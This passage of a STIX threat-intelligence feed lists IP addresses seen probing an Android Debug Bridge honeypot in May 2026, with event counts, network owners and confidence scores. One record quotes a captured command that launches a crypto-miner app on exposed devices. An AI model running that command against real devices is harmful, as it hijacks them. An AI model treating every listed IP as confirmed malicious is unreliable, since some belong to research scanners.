          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-23T10:02:11.000Z",
          "last_seen": "2026-05-23T10:12:20.828Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-23T10:12:58.000Z | last_seen=2026-05-23T10:23:13.088Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c6a9f83c-bf8e-4dba-8b52-01c70f4d766d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.172.39.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:00:02.000Z",
      "valid_until": "2026-06-24T11:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-23T10:12:58.000Z",
          "last_seen": "2026-05-23T10:23:13.088Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-23T11:04:19.000Z | last_seen=2026-05-30T04:04:29.244Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:00:02.000Z",
      "valid_until": "2026-06-24T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-23T11:04:19.000Z",
          "last_seen": "2026-05-30T04:04:29.244Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-23T11:03:51.000Z | last_seen=2026-05-23T11:04:53.294Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ae957d27-dfa5-4399-8574-a3185cae74b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:00:02.000Z",
      "valid_until": "2026-06-24T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-23T11:03:51.000Z",
          "last_seen": "2026-05-23T11:04:53.294Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=PH; asn=47154; asn_org=Husam A. H. Hijazi; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-23T13:08:47.000Z | last_seen=2026-05-24T13:14:58.879Z | ports=5555 | cc=PH | asn=47154 | org=Husam A. H. Hijazi",
      "id": "indicator--5ba6bba4-0aae-4e88-922e-a07fd8644e98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.110.223.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:00:02.000Z",
      "valid_until": "2026-06-24T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-23T13:08:47.000Z",
          "last_seen": "2026-05-24T13:14:58.879Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "47154"
          ],
          "org": [
            "Husam A. H. Hijazi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-23T15:49:54.000Z | last_seen=2026-05-23T15:50:54.974Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a90ff2db-ae4d-4907-8cd3-1993c789780b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.236.111.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:00:02.000Z",
      "valid_until": "2026-06-24T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-23T15:49:54.000Z",
          "last_seen": "2026-05-23T15:50:54.974Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-23T17:34:14.000Z | last_seen=2026-05-23T17:35:34.414Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--076dd469-1a83-47c5-a099-e56c3a4f5f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:00:02.000Z",
      "valid_until": "2026-06-24T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-23T17:34:14.000Z",
          "last_seen": "2026-05-23T17:35:34.414Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-23T18:45:51.000Z | last_seen=2026-05-23T18:47:01.329Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2ec209d3-125a-4cd1-ade4-04bfc8527304",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '162.243.59.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:00:02.000Z",
      "valid_until": "2026-06-24T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-23T18:45:51.000Z",
          "last_seen": "2026-05-23T18:47:01.329Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-23T18:28:42.000Z | last_seen=2026-05-23T18:40:06.286Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:00:02.000Z",
      "valid_until": "2026-06-24T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-23T18:28:42.000Z",
          "last_seen": "2026-05-23T18:40:06.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=38 | first_seen=2026-05-22T14:35:26.000Z | last_seen=2026-05-23T21:54:21.659Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--817c2692-ce18-4286-b527-c8be0c066d7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:00:02.000Z",
      "valid_until": "2026-06-24T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 38,
          "first_seen": "2026-05-22T14:35:26.000Z",
          "last_seen": "2026-05-23T21:54:21.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GE; asn=211486; asn_org=Alferov Aleksey Aleksandrovich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-23T23:27:05.000Z | last_seen=2026-05-23T23:28:44.054Z | ports=5555 | cc=GE | asn=211486 | org=Alferov Aleksey Aleksandrovich",
      "id": "indicator--be055f06-fd74-4ab7-a7e4-b96493bb05a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.91.71.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T00:00:02.000Z",
      "valid_until": "2026-06-25T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-23T23:27:05.000Z",
          "last_seen": "2026-05-23T23:28:44.054Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GE"
          ],
          "asn": [
            "211486"
          ],
          "org": [
            "Alferov Aleksey Aleksandrovich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=2; cmd=\"am start -n com.ufo.miner/com.example.test.MainActivity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=29 | first_seen=2026-05-24T00:49:59.000Z | last_seen=2026-05-24T01:00:29.040Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--24eaeb88-6001-41a3-adc8-07ea6147dce9",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.63.84.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:00:03.000Z",
      "valid_until": "2026-06-25T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 29,
          "first_seen": "2026-05-24T00:49:59.000Z",
          "last_seen": "2026-05-24T01:00:29.040Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=202412; asn_org=Omegatech LTD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=34 | first_seen=2026-05-24T01:36:03.000Z | last_seen=2026-05-27T18:08:18.486Z | ports=5555 | cc=US | asn=202412 | org=Omegatech LTD",
      "id": "indicator--dcff3a4f-9619-432c-a130-067a93555fca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.74.59.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:00:04.000Z",
      "valid_until": "2026-06-25T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 34,
          "first_seen": "2026-05-24T01:36:03.000Z",
          "last_seen": "2026-05-27T18:08:18.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-24T01:22:11.000Z | last_seen=2026-05-24T01:23:23.537Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:00:04.000Z",
      "valid_until": "2026-06-25T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-24T01:22:11.000Z",
          "last_seen": "2026-05-24T01:23:23.537Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=103; ports=5555; cc=HK; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=103 | first_seen=2026-05-24T03:05:07.000Z | last_seen=2026-05-24T03:39:04.154Z | ports=5555 | cc=HK | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--4c4cc434-9199-44b5-9e9d-c90cca899de3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.216.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:00:03.000Z",
      "valid_until": "2026-06-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 103,
          "first_seen": "2026-05-24T03:05:07.000Z",
          "last_seen": "2026-05-24T03:39:04.154Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-24T03:36:48.000Z | last_seen=2026-05-24T03:46:58.902Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.128.66.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:00:03.000Z",
      "valid_until": "2026-06-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-24T03:36:48.000Z",
          "last_seen": "2026-05-24T03:46:58.902Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-24T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-24T03:52:05.000Z | last_seen=2026-05-27T09:23:38.176Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--a5a69c27-e1ff-4610-8738-5fd179d3f285",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '95.111.230.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:00:03.000Z",
      "valid_until": "2026-06-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-24T03:52:05.000Z",
          "last_seen": "2026-05-27T09:23:38.176Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
